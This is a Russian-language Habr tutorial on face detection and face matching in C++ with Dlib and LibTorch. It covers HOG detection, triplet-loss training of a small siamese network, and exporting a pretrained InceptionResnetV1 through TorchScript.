Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9480 / Markets: 114837
Market Cap: $ 3 636 405 650 348 / 24h Vol: $ 110 726 802 101 / BTC Dominance: 58.759561666026%

Н Новости

Ищем Арнольда Шварценеггера среди мужчин, женщин и детей с помощью нейросети на С++

Привет, Хабр! Меня зовут Кирилл Колодяжный, я ведущий инженер-программист в YADRO. Помимо основных рабочих задач, включающих исследование проблем производительности СХД, я увлекаюсь машинным обучением. Участвовал в коммерческих проектах, связанных с техническим зрением, 3D-сканерами и обработкой фотографий. В задачах часто использовал С++, хотя машинное обучение традиционно ассоциируется с Python. Этот язык программирования буквально захватил сферу, его используют повсюду — от обучающих курсов до серьезных ML-проектов.

Однако Python — не единственный язык, на котором можно решать задачи машинного обучения. Так, альтернативой может стать С++. Если последний вам ближе, вам будет интересен и полезен этот текст.

Под катом разберемся:

  • как организовать работу с данными и загрузку обучающего датасета,

  • как описать структуру нейронной сети,

  • как использовать уже готовые алгоритмы машинного обучения из доступных библиотек и фреймворков,

  • как организовать конвейер обучения сети,

  • как использовать предобученные глубокие сети для решения задач.

Изображение сгенерировала нейросеть
Изображение сгенерировала нейросеть

Где в машинном обучении применяется С++

Реализация базовых вычислительных алгоритмов

C++ часто используется в машинном обучении для реализации сложных алгоритмов. Он широко применяется в бэкенде популярных фреймворков, таких как PyTorch, TensorFlow и scikit-learn. Они, в свою очередь, основаны на математических библиотеках, реализующих стандарт BLAS — например, OpenBLAS или cuBLAS. Это позволяет строить высокоуровневые математические библиотеки, к которым относятся Eigen, Armadillo и ATen. NumPy, популярная библиотека Python для работы с математическими операциями, также использует C++ для реализации внутренних функций, обеспечивая быструю и эффективную работу с тензорами и матрицами.

Кастомные функции для фреймворков

PyTorch и TensorFlow предоставляют специальный API для расширения функционала. Допустим, вам нужно реализовать тензорную операцию, которая не представлена в фреймворке и у вас есть достаточно удобный механизм для ее реализации на C++. Почему на C++? Потому что, скорее всего, вам потребуется использовать CUDA или OpenCL для эффективной реализации, а они тоже используются в связке с С++.

Машинное обучение на конечных устройствах

Наиболее массово C++ для машинного обучения применяется, когда готовый продукт деплоится, например, на устройство видеоаналитики. Чаще всего там нет смысла разворачивать Python-среду и ставить интерпретатор — достаточно выполнить алгоритм в режиме вывода (inference). Поэтому существует достаточно большой спектр фреймворков, заточенных на адаптацию под микроконтроллеры и embedded-платформы.

Допустим, есть проект OpenVINO. Он специализируется на деплое машинного обучения на Intel-платформы. TensorRT — это платформа для конвертации нейронных сетей от NVIDIA, достаточно массово используются на платформах типа Jetson, с архитектурами Xavier или Orin. PyTorch и TensorFlow — популярные фреймворки — тоже предоставляют свои механизмы для запуска этих алгоритмов в рамках C++ на устройствах. Это TorchScript, torch.jit, и TensorFlow Lite, tflite micro.

Хотите узнать, какие еще задачи решают разработчики на С++? Регистрируйтесь на бесплатный онлайн-митап YADRO по С++, который состоится 20 марта. Программа встречи — по ссылке.

Решаем задачу поиска лиц с помощью С++ и его библиотек

Мы поговорим о том, как использовать C++ на самом высоком уровне и решить задачи, где обычно используют Python или технологии Julia и R.

Задачу по поиску лиц можно разделить на два шага:

  1. Поиск регионов с лицами людей. Здесь воспользуемся готовым алгоритмом, доступным в библиотеке для машинного обучения: скользящим окном пройдемся по фотографии и классифицируем регионы как лицо или не лицо.

  2. Сравнение региона с лицом с искомым лицом. Для сравнения лиц реализуем свою нейронную сеть.

Этап 1. Ищем регионы с лицами людей

В поиске лица на фото с использованием метода скользящего окна есть нюанс: лица на фотографии могут быть разного масштаба, а у окна — фиксированный размер. Чтобы найти нужное лицо, мы построим пирамиду масштабируемых изображений: изменим размеры исходного фото, чтобы маленькие лица стали больше и попадали в фиксированное скользящее окно. Чтобы определить, является регион лицом или нет, опишем его математическим представлением (вектором). Для этого используем гистограмму направленных градиентов. Далее эти векторы можно будет разделить на два класса: лицо и не лицо.

Рассмотрим на примере, что такое пирамида масштабированных изображений. На следующей фотографии есть несколько людей.

Лицо на переднем плане достаточно большое, оно попадет в скользящее окно. На заднем плане лица маленькие — мы не сможем корректно описать и классифицировать их. Для решения проблемы построим несколько масштабов входного изображения.

Чтобы описать регион на фотографии для классификации, сделаем фото черно-белым — теперь каждый пиксель содержит только интенсивность цвета. Скользящее окно нужно разбить на прямоугольные подобласти и вычислить в них направления изменений от светлого к темному.

Скользящее окно
Скользящее окно

Таких направлений может быть много. Мы ограничимся определенными: вверх, вниз, вправо, влево и по диагонали.

Направления изменения цвета. Гистограмма частоты встречаемости.
Направления изменения цвета. Гистограмма частоты встречаемости.

Из полученных направлений сформируем гистограмму по частоте встречаемости. Эта гистограмма представляет собой одномерный вектор чисел, который мы сможем использовать для тренировки классификатора и оценивать, находится в этом регионе изображения лицо или нет.

Библиотека Dlib

Загрузка изображений

Для решения задачи нужна библиотека с ограниченным набором функций, простой установкой и без лишних зависимостей. Будем использовать Dlib — известную библиотеку, которая предоставляет алгоритмы для компьютерного зрения и машинного обучения. Она легковесная, собирается и импортируется проще, чем ее аналоги — например, OpenCV.

Для использования детекции лиц на фотографии достаточно использовать два заголовочных файла. Это image/io/h и frontal/fact/detector.h, которые будут отвечать за предоставление функций загрузки изображений и детекции лиц.

#include <dlib/image/io.h>
#include <dlib/image/processing/frontal/face/detector.h>
...
using namespace dlib;

Изображения могут быть представлены двумя типами данных: двумерным массивом или матрицей. Для работы с цветными изображениями или с изображениями в оттенках серого нам достаточно специализировать шаблон array2d нужным типом. В коде ниже мы видим тип rgb_pixel. На самом деле это 32-битный integer, он позволяет описывать пространство цветов в схеме RGB. А использование типа unsigned char позволит работать с оттенками серого.

using image_t = array2d<unsigned char>;
using rgb_image_t = array2d<rgb_pixel>;
using matrix_t = matrix<float>;

Также нам потребуется матрица. Это математический примитив, класс которого может специализироваться нужным типом данных. Мы используем float. Тип matrix предоставляет больше специализированной функциональности, которая пригодится на этапе тренировки нейронной сети.

Для загрузки изображений нам достаточно использовать функцию load_image из библиотеки Dlib. Организовано все просто: функция принимает путь к файлу изображения и сама определяет тип изображения — png, jpeg или bmp.

std::string image_file_path;
...
image_t gray_scale_image;
load_image(gray_scale_image, image_file_path);
 
rgb_image_t rgb_img;
load_image(rgb_img, image_file_path);

Пирамида масштабированных изображений

Следующий этап — построение пирамиды масштабированных изображений с помощью функции pyramid_up.

image_t gray_scale_image;
...
pyramid_up(gray_scale_image);

Существует и функция pyramid_down: можно построить пирамиду для уменьшения картинки. Мы видим, что функция принимает на вход один объект — изображение, которое нужно отмасштабировать. Остальные уровни масштабирования помещаются в то же изображение и присоединяются к основному друг за другом. Это сделано так, потому что вся остальная функциональность библиотеки понимает формат и использует его автоматически.

Детектор лиц

Для детекции лиц мы создаем объект типа face_detector с помощью функции get_frontal_face_detector.

auto face_detector = get_frontal_face_detector();
...
auto face_rects = face_detector(gray_scale_image);

У формата есть перегруженный оператор функции, который принимает на вход изображение. Результатом является контейнер, который содержит прямоугольники — регионы с лицами.

Использование get_frontal_face_detector накладывает ограничение: система работает только с лицами, снятыми в анфас. Однако библиотека предоставляет и функциональность, основанную на глубоких нейронных сетях, для детекции лиц в других положениях.

Постобработка регионов с лицами

С помощью функции face_detector мы определили прямоугольники с лицами. Их необходимо вырезать, чтобы получить отдельные изображения. К сожалению, тип array2d не позволяет работать с частями изображения — для этого его нужно преобразовать в матрицу с помощью функции mat.

image_t image;
rectange roi;
...
auto image_as_matrix = mat(image);
matrix<image_t::type> face_mat = subm(image_as_matrix, roi);

Если мы передадим двумерный массив, получим матрицу. А с помощью функции subm (submatrix) получим регион с лицом. Эта функция принимает два параметра: объект матрицы и размер прямоугольника, который нас интересует.

Отложенные вычисления в C++

Зачастую в математических библиотеках для C++ и фреймворках машинного обучения некоторые операции, например, обрезка матрицы или умножение матрицы, не выполняются сразу. Вместо этого возвращается объект, описывающий данную операцию. Этот подход называется отложенным вычислением (lazy calculation). Результат операции вычисляется только тогда, когда он действительно нужен. Это позволяет библиотеке оптимизировать вычисления или вообще их не проводить, если результат не используется. Если требуется получить результат операции сразу, необходимо указать тип объекта результата, например, matrix<image_t::type>. При таком вызове выделится память для копирования изображения.

После того как мы вырезали прямоугольники с лицами, нужно привести их к стандартному размеру и формату. Для этого используем функцию resize_image. Она принимает объект исходного изображения и объект изображения нужного размера, куда будет записан результат масштабирования. Эта функция имеет дополнительные параметры, которые влияют на интерполяцию при увеличении (upsampling) или уменьшении (downsampling) изображения. Эти параметры определяют способ обработки и вычисления новых пикселей. В нашем случае используются параметры по умолчанию.

image_t image;
 
...
 
image_t scaled_image(FACE_SIZE, FACE_SIZE);
resize_image(image, scaled_image);

Далее нам нужно преобразовать целочисленные значения пикселей изображения в вещественные. Сначала используем функцию matrix_cast и приведем внутренний тип матрицы изображения к типу float. Также нужно, чтобы все значения пикселей были нормализованы — приведены к одному масштабу. Поскольку наша картинка в оттенках серого, пиксели принимают значения от 0 до 255. Чтобы привести их к общему масштабу от 0 до 1, делим на 255.

return matrix_cast<float>(mat(scaled_image))/255.0f;

Эти действия важны для следующего этапа — обучения нейронной сети.

Объединение всех частей кода для детекции лиц

auto face_detector = get_frontal_face_detector();
image_t img;
load_image(img, image_file_path);
pyramid_up(img);
auto face_rects = face_detector(img);
for (auto& face_rect : face_rects) {
  matrix<image_t::type> face_mat = subm(mat(img), face_rect);
  image_t scaled_face(FACE_SIZE, FACE_SIZE);
  resize_image(face_mat, scaled_face);
  auto face_imge = matrix_cast<float>(mat(scaled_face))/255.0f;
  ...
  // обработка изображения
}

Этих функций достаточно для реализации нашего первого этапа, который включает загрузку изображения, нахождение в нем лиц, получение изображений лиц, приведение их к нужному масштабу и формату.

Код получится компактным и выразительным, похожим на аналоги на Python.

Пример работы кода
Пример работы кода

Этап 2. Сравниваем регион с целевым лицом

Сиамские сети

Один из самых распространенных способов обучить нейронную сеть поиску похожих объектов — сиамские сети, тренированные с разными целевыми функциями, например, с функциями потерь Contrastive Loss или Triplet Loss. Такой подход также называют «изучением метрик» (metric learning), потому что сравнивать можно не только изображения, но и объекты из разных предметных областей.

Сеть с двумя входами
Сеть с двумя входами

На входы подаются изображения разных людей. Наша задача — обучить нейронную сеть так, чтобы она выдавала векторы, схожие для одного человека и разные для нескольких людей. Подход к тренировке будет отличаться в зависимости от выбранной функции потерь.

Contrastive Loss

Функция потерь Contrastive Loss основана на том, что мы максимизируем расстояние между разными классами векторов и минимизируем между одинаковыми. В формуле ниже d — это расстояние, а y принимает значения 0 или 1 в зависимости от того, одинаковые изображения или нет.

888458037dd01a5d003d2e42e9f1cc1a.png

Здесь d вычисляется как квадрат расстояния, что соответствует минимизации евклидового расстояния, описывающего два объекта.

Triplet Loss

Подход с другой целевой функцией Triplet Loss чем-то похож: мы снова будем вычислять расстояние. У нас есть три сети с одной архитектурой и весами, через них проходит три изображения: якорное и два примера — позитивный и негативный.

Позитивный пример — это тот же самый объект, представленный иначе. В нашем случае сфотографированный под другим углом. Негативный пример — это пример другого объекта.
Позитивный пример — это тот же самый объект, представленный иначе. В нашем случае сфотографированный под другим углом. Негативный пример — это пример другого объекта.

Для примеров мы получаем три характеристических вектора (embbedings vectors), которые поступают на вход функции Triplet Loss. Здесь вычисляется два евклидовых расстояния между якорным изображением, позитивным и негативным примерами.

0d4115fb3638e2f9e04872045d0a2731.png

Функция должна обучить сеть так, чтобы расстояние между якорным и позитивным примером было минимальное, а между якорным и негативным — максимальное.

Результат обучения
Результат обучения

Датасет

Для обучения нейронных сетей нужны тренировочные данные — датасет. Мы используем доступный датасет Facial Recognition Dataset collected from Pinterest. Это набор из 105 фотографий знаменитостей с приблизительно одинаковым масштабом, но разным ракурсом и освещением.

Датасет Facial Recognition Dataset collected from Pinterest
Датасет Facial Recognition Dataset collected from Pinterest

Обратим внимание, что наш модуль для определения лиц реализован только для лиц, снятых в фас. Значит, на некоторых фото найти лица не получится. Это приведет к несбалансированности датасета, и в последствии может стать одной из причин низкого качества сравнения лиц. В реальных задачах уделяйте достаточно внимания подготовке тренировочных и проверочных данных.

Применение библиотеки PyTorch для работы с тренировочными данными

Для реализации нашей задумки воспользуемся библиотекой PyTorch, которая представляет собой набор инструментов для машинного обучения. Важно отметить, что для C++ также существует LibTorch — библиотека, которая предоставляет С++ интерфейс для ядра PyTorch. LibTorch включает практически всю функциональность Python-версии и имеет схожий синтаксис. Если вы уже работали с PyTorch на Python, освоить LibTorch на C++ будет достаточно просто.

Для начала работы с LibTorch нам достаточно подключить один заголовочный файл, вся функциональность помещена в пространство имен torch.

#include <torch/torch.h>
...
using namespace torch;

Начнем с построения конвейера обучения (training pipeline) нейронной сети. Первый шаг — работа с данными:

  • загрузка фотографий,

  • приведение их к нужному размеру и формату,

  • следование стратегии, которую предписывает фреймворк PyTorch.

Для этого достаточно унаследоваться от класса Dataset и реализовать два метода:

  • get возвращает один экземпляр данных для обучения,

  • size возвращает, сколько всего у нас таких данных существует.

class FaceDataset : public torch::data::datasets::Dataset<FaceDataset> {
  using Example = torch::data::Example<>;
 
 public:
 
  Example get(size_t index) override;
 
  torch::optional<size_t> size() const override;
};

Интерфейс для работы с тренировочными данными

Мы уже знаем, как загрузить изображение с помощью библиотеки Dlib и функции load_image. Дальше нам необходимо преобразовать загруженную матрицу в тензор — тип данных в библиотеке PyTorch. Для создания тензора из матрицы Dlib используется функция from_blob, которая принимает на вход адрес в памяти, размер тензора и тип внутренних данных.

std::vector<Tensor> face_tensors;
...
image_t img;
dlib::load_image(img, path);
auto face_rects = face_detector(img);
...
matrix_t face_mat = crop_scale_cast_face(img, face_rects[i]);
 
auto face_tensor = from_blob(&face_mat(0, 0),              
                             {1, face_mat.nr(), face_mat.nc()}, 
                             torch::kFloat);               
 
face_tensors.push_back(face_tensor.clone())

В приведенном примере используется функция crop_scale_cast_face. Она реализует ранее описанную нами функциональность для вырезания региона с лицом и его преобразование в нужный для обучения сети формат.

Чтобы выделить память под наш тензор и скопировать данные, мы вызываем метод clone у объекта face_tensor с типом torch::Tensor.

Затем нужно реализовать проход по директории с фотографиями, их загрузку и преобразование в тензоры. А потом — доступ по индексу к каждому тензору, который представляет лицо в методе get. Следуя API Pytorch в реализации метода get нам нужно вернуть вернуть объект обучаемых данных класса Dataset::Example, так как наше класс унаследован от Dataset то в коде представленном ниже это FaceDataset::Example.

FaceDataset::Example FaceDataset::get(size_t index) {
  size_t positive_index;                    	
  size_t negative_index;                    	
  ...       	
  // объединение трех тензоров изображений в один тензор
  return {cat({
          	face_tensors[index],
          	face_tensors[positive_index],
          	face_tensors[negative_index]}),
          tensor({1.f, 1.f, 0.f},           	
               	torch::kFloat)
     	};
}

Чтобы использовать Triplet Loss в нашей функции обучения, необходимо объединить три изображения лиц в один тензор. Обычно объект Dataset::Example представляет собой пару тензоров — обучающие данные и их метки. Однако для Triplet Loss нам нужно объединить три тензора лиц. Используя функцию cat, мы объединяем их последовательно, добавляя одно дополнительное измерение к тензору. Также в качестве меток передаем тензор 1, 1, 0. Инициализация всех объектов довольно проста и напоминает использование функциональности в Python. Затем мы создаем объект типа FaceDataset, в конструктор которого передаем путь к директории с изображениями датасета.

std::string path;
...
// батчи будут организованы в vector<Tensor>
auto dataset = FaceDataset(path);
...
// батчи будут организованы в один Tensor
auto dataset = FaceDataset(path).map(data::transforms::Stack<>());

Здесь обратим внимание, как мы используем библиотеку PyTorch для реализации эффективного обучения нейронных сетей. Мы будем работать не с одним экземпляром обучаемых данных, а с набором (batch) — например, из 8, 32, 16 экземпляров. Это необходимо для эффективной утилизации вычислительных ресурсов и эффективной передачи данных из «оперативки» в память видеокарты. Поэтому PyTorch предоставляет для объектов типа Dataset метод map, который описывает, каким образом можно конкатенировать (объединять) экземпляры обучаемых данных.

В данном случае в методе map используется объект типа Stack — он обозначает, что батч наших данных будет объединен в один объект типа torch::Tensor. Если это не сделать, он будет представлен стандартным вектором в C++. Это не очень удобно, потому что потом придется вручную создавать тензор.

Объекты типа Dataset используются совместно с объектами типа DataLoader. DataLoader реализует определенную стратегию работы с наборами данных для обучения.

Каким образом создается объект DataLoder? В данном случае используем функцию make_data_loader, специализированную типом RandomSampler. Это значит, что данные из датасета будут выбираться случайным образом, с помощью равномерного распределения. Это важно для нормального обучения нейронных сетей и других алгоритмов машинного обучения.

auto train_loader = data::make_data_loader<data::samplers::RandomSampler>(
                               	std::move(face_dataset),
                               	data::DataLoaderOptions()
                               	   	.batch_size(batch_size)
                               	   	.workers(num_workers)
                	);

Дальше функция принимает на вход объект датасета и дополнительные опции для работы с ним. Этими опциями выступают batch_size и workers. Workers — это количество потоков, которые будут использованы для формирования батчей тренировочных данных. Это важно, потому что датасеты — это обычно очень большие наборы данных, для их эффективной обработки используют много вычислительных ресурсов. Даже если датасет помещается в оперативную память, использование нескольких потоков workers позволяет распараллелить их предобработку. Такая предобработка включает в себя масштабирование, нормализацию, приведение к формату данных и так далее.

После того как мы создали датасет и завернули его в DataLoader, его использование становится тривиальным:

  1. С помощью обычного range-based for цикла проходимся по батчам.

  2. На каждой итерации цикла получаем ссылку на конкретный батч.

  3. С помощью полей батча получаем значения data и target.

data — это наши тренировочные данные, один экземпляр которых представлен одним вектором. Но там может быть несколько векторов наших тренировочных данных, каждый вектор — это тройка объединенных изображений. Количество векторов мы описывали с помощью batch_size. A target — это тензоры с нашей разметкой, их количество тоже равно batch_size.

for (auto& batch : *train_loader) {
  	auto merged_img = batch.data.to(device);
  	auto targets = batch.target.to(device);
 
  	// Разделяем изображение на 3 части
  	auto anchor_img = merged_img.narrow(1, 0, 1);
  	auto positive_img = merged_img.narrow(1, 1, 1);
  	auto negative_img = merged_img.narrow(1, 2, 1);
  	...
}

Если вспомним, когда мы реализовывали функцию get, мы объединили наши три фотографии в один тензор. Далее нам их нужно развернуть. Для этого понадобится функция narrow: мы используем индекс в первой размерности, для получения среза тензора, представляющего нужное изображение. Функциональность полностью совпадает с интерфейсом на Python.

Архитектура нейронной сети

После того, как мы научили программу работать с данными, загружать их, предоставлять в формате, необходимом для тренировки, мы можем описать архитектуру нейронной сети для решения задачи. Для примера реализуем достаточно простой подход: три сверточных слоя, за которыми следует три линейных полносвязных слоя.

Схема архитектуры сети. Число 128 в конце означает, что сеть будет выдавать одномерный вектор размерностью 128, который и будет характеризовать изображение.
Схема архитектуры сети. Число 128 в конце означает, что сеть будет выдавать одномерный вектор размерностью 128, который и будет характеризовать изображение.

Схема архитектуры сети. Число 128 в конце означает, что сеть будет выдавать одномерный вектор размерностью 128, который и будет характеризовать изображениеЧтобы реализовать какой-то элемент нейронной сети или другого алгоритма машинного обучения в фреймворке библиотеки PyTorch, необходимо унаследоваться от класса Module — точно так же, как в Python.

class FaceEmbeddingNetworkImpl : public torch::nn::Module {
 public:
  FaceEmbeddingNetworkImpl();
  torch::Tensor forward(torch::Tensor x);
 
 private:
  torch::nn::Sequential cnn_;
  torch::nn::Sequential fc_;
};
 
TORCH_MODULE(FaceEmbeddingNetwork);

Здесь важно использовать макрос TORCH_MODULE — он зарегистрирует этот модуль в системе автоградиента библиотеки PyTorch — и реализовать метод, который будет осуществлять прямой проход по нейронной сети или другому алгоритму. Кстати, forward в данном случае — это просто соглашение, а не виртуальная функция. Вместо него может быть любое другое название.

Сверточные и полносвязные слои

Мы разделим нейронную сеть на сверточные и полносвязные (линейные) слои и объединим их в контейнер Sequential. Sequential реализует набор методов, похожий на вектор C++, у него есть векторы push_back, которые последовательно заполняются слоями.

cnn_ = Sequential();
 
cnn_->push_back(Conv2d(Conv2dOptions(1, 96, 11).stride(4)));
cnn_->push_back(Functional(torch::relu));
cnn_->push_back(MaxPool2d(MaxPool2dOptions(3).stride(2)));
 
cnn_->push_back(Conv2d(Conv2dOptions(96, 256, 5).stride(1)));
cnn_->push_back(Functional(torch::relu));
cnn_->push_back(MaxPool2d(MaxPool2dOptions(2).stride(2)));
 
cnn_->push_back(Conv2d(Conv2dOptions(256, 384, 3).stride(1)));
cnn_->push_back(Functional(torch::relu));
 
register_module("cnn", cnn_);

Сверточные слои

Мы добавляем в контейнер объект типа Conv2d для двумерной свертки, за которым следует объект, реализующий функцию активации ReLU, а затем операции пулинга. Этот процесс повторяется три раза, создавая слои с различными параметрами: размеры каналов и ядер свертки, операции пулинга, размер страйда. Мы используем контейнер Sequential для эффективного фьюзинга слоев в библиотеке PyTorch

Регистрация Sequential-контейнера с использованием метода register_module важна для автоградиентов.

fc_ = Sequential();
	
fc_->push_back(Linear(LinearOptions(384, 1024)));
fc_->push_back(Functional(torch::relu)); 
  
fc_->push_back(Linear(LinearOptions(1024, 256)));
fc_->push_back(Functional(torch::relu));
 
fc_->push_back(Linear(LinearOptions(256, EMBEDDIGS_SIZE)));
  
register_module("fc", fc_);

Полносвязные слои

Аналогично для линейных полносвязных слоев, мы также помещаем их в Sequential-контейнер с помощью методов pushback.

Хотя все это можно было сделать в одном контейнере Sequential, мы их разделили для наглядности. Создав слои, из которых состоит нейронная сеть, мы можем реализовать метод forward.

Tensor FaceEmbeddingNetworkImpl::forward(Tensor x) {
  x = cnn_->forward(x);
  x = x.view({x.size(0), -1}); // Разворачиваем 3D тензор в 1D
  x = fc_->forward(x);
  return x;
}

В этом методе реализован прямой проход сети: мы программируем то, как входные данные проходят через слои в нужном нам порядке. Переход от сверточных слоев к полносвязным требует развертывания 3D-тензора в одномерный. Это достигается операцией view без дополнительного выделения памяти или копирования данных.

И этот метод возвращает уже преобразованные данные, в нашем случае — вектор, который характеризует входное изображение.

Создание конвейера для обучения нейронной сети

Описав структуру нейронной сети, мы можем создать конвейер для ее обучения. Для этого сначала надо создать объект модели:

FaceEmbeddingNetwork model_;

Так как класс модели унаследован от класса Module, у нас уже есть методы для переключения в различные режимы. Переключаем модель в режим тренировки с помощью метода train. Далее создаем объект оптимизатора для нейронной сети, в данном случае Adam. Обратите внимание: конструктор Adam принимает на вход model все параметры (веса) нашей сети

model_->train();
 
optim::Adam optimizer(model_->parameters());
 
nn::TripletMarginLoss triplet_loss(
                      	nn::TripletMarginLossOptions().margin(3.f));
 
for (size_t epoch = 0; epoch < num_epochs; ++epoch) {
  for (auto& batch : *train_loader) {
 
	// Подготовка батча данных
	
	// Вызов функций прямого распространения
 
	// Вычисление значения функции потерь 
 
	// Вызов функций обратного распространения ошибки
 
	// Обновление значений параметров
  }
}
save(model_, "weights.dat");

Теперь описываем нашу целевую функцию (функцию потерь) triplet_loss. Обычно целевые функции принимают дополнительные параметры, которые разработчик подбирает вручную или с использования автоматических техник.

Тренировка состоит из двух циклов: первый проходит по эпохам, второй, «вложенный», — по батчам. Прохождение одной эпохи означает прохождение по всему датасету. Что включает в себя цикл:

  1. Подготовку батча: разбиение изображения на три части.

  2. Пропуск изображений через нейронную сеть для получения трех характеристических векторов.

  3. Передачу векторов в функцию triplet_loss для вычисления значения функции потерь.

  4. Использование значения функции потерь и механизма автоградиента для вычисления всех градиентов.

  5. Обновление параметров сети с использованием оптимизатора.

После такой тренировки с помощью функции save, которая принимает имя файла и объект нейронной сети, мы можем сохранить снимок (snapshot) модели в файл.

Чтобы пропустить эти изображения через нейронную сеть, мы вызываем метод forward, в который передаем объект тензора изображения. Делаем это для якорного, позитивного и негативного примеров, получаем три характеристических вектора и подаем их в метод forward функции потерь.

auto anchor = model_->forward(anchor_img);
auto positive = model_->forward(positive_img
auto negative = model_->forward(negative_img);
 
auto loss_value = triplet_loss->forward(anchor, positive, negative);

После этого достаточно вызвать метод backward, который автоматически вычислит значение всех производных — результаты пригодятся для обновления параметров сети в методе step объекта optimizer. Также важно не забывать использовать метод zero_grad, чтобы очистить значения производных от предыдущих значений.

optimizer.zero_grad(); // Обнуление значений градиентов
loss_value.backward(); // Обратное распространение ошибки
optimizer.step();  	// Обновление параметров

Пример использования нейронной сети

Представим, что у нас есть метод get_embeddings, который принимает на вход изображение и выдает его характеристический вектор (embedding). По сути он подает его на вход нашей нейронной сети и получает как результат 128-размерный вектор.

image_t target_face_img;
...
auto target_embeddings = get_embeddings(target_face_img);
...
image_t img;
...
auto face_rects = face_detector(img);
for (auto& face_rect : face_rects) {
  auto face_mat = crop_scale_cast_face(img, face_rect);
  auto face_embeddings = get_embeddings(face_mat);
  auto distance = length(target_embeddings - face_embeddings);
  if (distance < search_threshold) {
	// целевое лицо найдено 
  }
}

Как использовать эту функцию:

  1. При работе с объектом face_detector на целевом изображении с несколькими людьми мы получаем положение лиц в виде прямоугольников.

  2. Затем в цикле масштабируем их, приводим к нужному формату.

  3. Для каждого лица используем функцию get_embeddings, чтобы получить характеристический вектор.

  4. Вычисляем разницу между этими векторами и характеристическим вектором лица и находим норму этого вектора с помощью функции length из библиотеки Dlib, что, по сути, является евклидовым расстоянием между векторами.

  5. Сравниваем это значение с пороговым значением search_treshhold.

Если значение расстояния меньше порогового значения, мы считаем, что лица похожи.

При использовании моделей важно учитывать их состояния. Например, модель может находиться в состоянии тренировки (train), когда мы обучаем ее, или в состоянии вывода (inference или evaluation), которое мы получаем с помощью вызова метода eval.

Когда мы переводим модель в состояние eval, необходимо также указать PyTorch, что мы не хотим использовать автоградиент. Для этого создается объект типа NoGradGard, который действует в рамках текущего скоупа на C++. Это важно для оптимизации производительности, так как система автоградиента требовательна к ресурсам — как вычислительным, так и памяти.

Функция get_embeddings принимает на вход матрицу изображения из библиотеки Dlib. Эта матрица представляет собой результат загрузки изображения и преобразования его в матрицу с типом float для дальнейшей обработки.

embeddigs_t get_embeddings(matrix_t& face_img) {
  model_->eval();
  torch::NoGradGuard no_grad;
 
  auto face_tensor = matrix_to_tensor(face_img);
  face_tensor = face_tensor.to(kGPU);
 
  auto output = model_->forward(face_tensor);
  output = output.to(kCPU);
  const auto* data_ptr = output.const_data_ptr<float>();
 
  return dlib::mat(data_ptr, EMBEDDIGS_SIZE, 1);
}

Дальше мы преобразуем объект матрицы в формате PyTorch с помощью метода matrix_to_float, используя тот же подход, что и при создании класса FaceDataset. Затем перемещаем тензор в графический процессор (GPU) с помощью функции to, указывая тип устройства, куда нужно перенести данные. После этого передаем загруженный вектор в метод forward и получаем характеристический вектор. Мы можем перенести этот вектор на устройство CPU с помощью функции to, вернув его обратно в оперативную память. Наконец, мы преобразуем тензор библиотеки PyTorch обратно в тип данных матрицы Dlib, используя функцию mat, которая принимает указатель на память и размерность вектора.

Результаты обучения нейронной сети

Мы сравнивали лицо Арнольда Шварценеггера с лицами людей на фото. На картинке видно, что значение расстояния на мужских лицах находятся в одном диапазоне, а на женских и детских — в другом. Это значит, что нейросеть не научилась определять целевое лицо, но смогла отличить мужчин от женщин и детей.

Результаты обучения нейронной сети с помощью подхода, который я описал
Результаты обучения нейронной сети с помощью подхода, который я описал

Большую задачу, которую мы ставили в начале статьи — научить нейросеть искать лицо Арнольда на фото, мы не решили. Это связано с тем, что мы использовали маленький датасет, у нас была небольшая и простая по архитектуре нейросеть, мы не использовали специальные твики для обучения.

Мы рассмотрели общий подход к использованию библиотеки PyTorch, в частности С++ API, реализованный в LibTorch. Мы создали нейронную сеть и настроили конвейер обучения. Этот подход можно применять не только для простых моделей, но и для более сложных и масштабных решений.

В следующем блоке расскажу, как решить такую же задачу и получить более выразительный результат — нам понадобятся предтренированные сети.

Та же задача, но другое решение: используем предтренированную нейронную сеть

Описание сети

Чтобы решить задачу поиска лиц, мы можем использовать нейросети, ранее обученные другими компаниями или инженерами. Мы воспользуемся сетью Inception Resnet (V1) — это большая сеть, натренированная на большем объеме данных, который называется VGGFace2.

У нее другая архитектура, она намного сложнее ранее использованной сети. Убедитесь сами:

На этой схеме представлена самая верхняя структура этой сети. Каждый такой блок — еще одна нейронная сеть, они связаны друг с другом последовательно.
На этой схеме представлена самая верхняя структура этой сети. Каждый такой блок — еще одна нейронная сеть, они связаны друг с другом последовательно.
Здесь мы видим схему реализации блока верхнего уровня Stem. Он состоит из набора сверток и пулинга, связанных последовательно.
Здесь мы видим схему реализации блока верхнего уровня Stem. Он состоит из набора сверток и пулинга, связанных последовательно.
Это схемы блоков верхнего уровня Inception. Они представлены уже более сложной структурой с параллельным (skip-connection) прохождением данных в сети.
Это схемы блоков верхнего уровня Inception. Они представлены уже более сложной структурой с параллельным (skip-connection) прохождением данных в сети.
Это схемы Reduction блоков верхнего уровня. Они также представлены сложной структурой с разными путями прохождения данных.
Это схемы Reduction блоков верхнего уровня. Они также представлены сложной структурой с разными путями прохождения данных.

Как использовать предтренированную сеть

Для использования этой нейронной сети сначала нам необходимо обратиться к Python. Мы экспортируем сеть в формат, доступный для использования в C++. Для этого можем создать объект типа InceptionResnetV1 в Python, передавая в конструктор дополнительные параметры, такие как имя датасета, на котором сеть была обучена. Библиотека предоставляет различные варианты инициализации сети в зависимости от использованного датасета. Мы также вызываем метод eval, чтобы переключить сеть в режим вывода, а затем создаем произвольный тензор, который будет использоваться как пример входных данных, как мы видели ранее в C++.

import torch
from facenet_pytorch import InceptionResnetV1
 
resnet = InceptionResnetV1(pretrained='vggface2').eval()
 
# Пример входных данных для трассировки
example = torch.rand(1, 3, 100, 100)
 
traced_script_module = torch.jit.trace(resnet, example)
 
traced_script_module.save("face_net.pt")

Тут важно только сохранить размерность. В коде мы видим 1, 3, 100, 100 — это значит, что создаются три канала размером 100х100 пикселей. Для экспорта воспользуемся трейсингом для нейронных сетей. Это механизм, который реализован в PyTorch. Передав на вход сети этот пример входных данных, механизм трейсинга последовательно сохранит все вызванные операции, которые происходили в нейронной сети: свертки, функции активации и так далее. Результат трейса можно сохранить в файл, который можно будет загрузить как в C++, так и в Python.

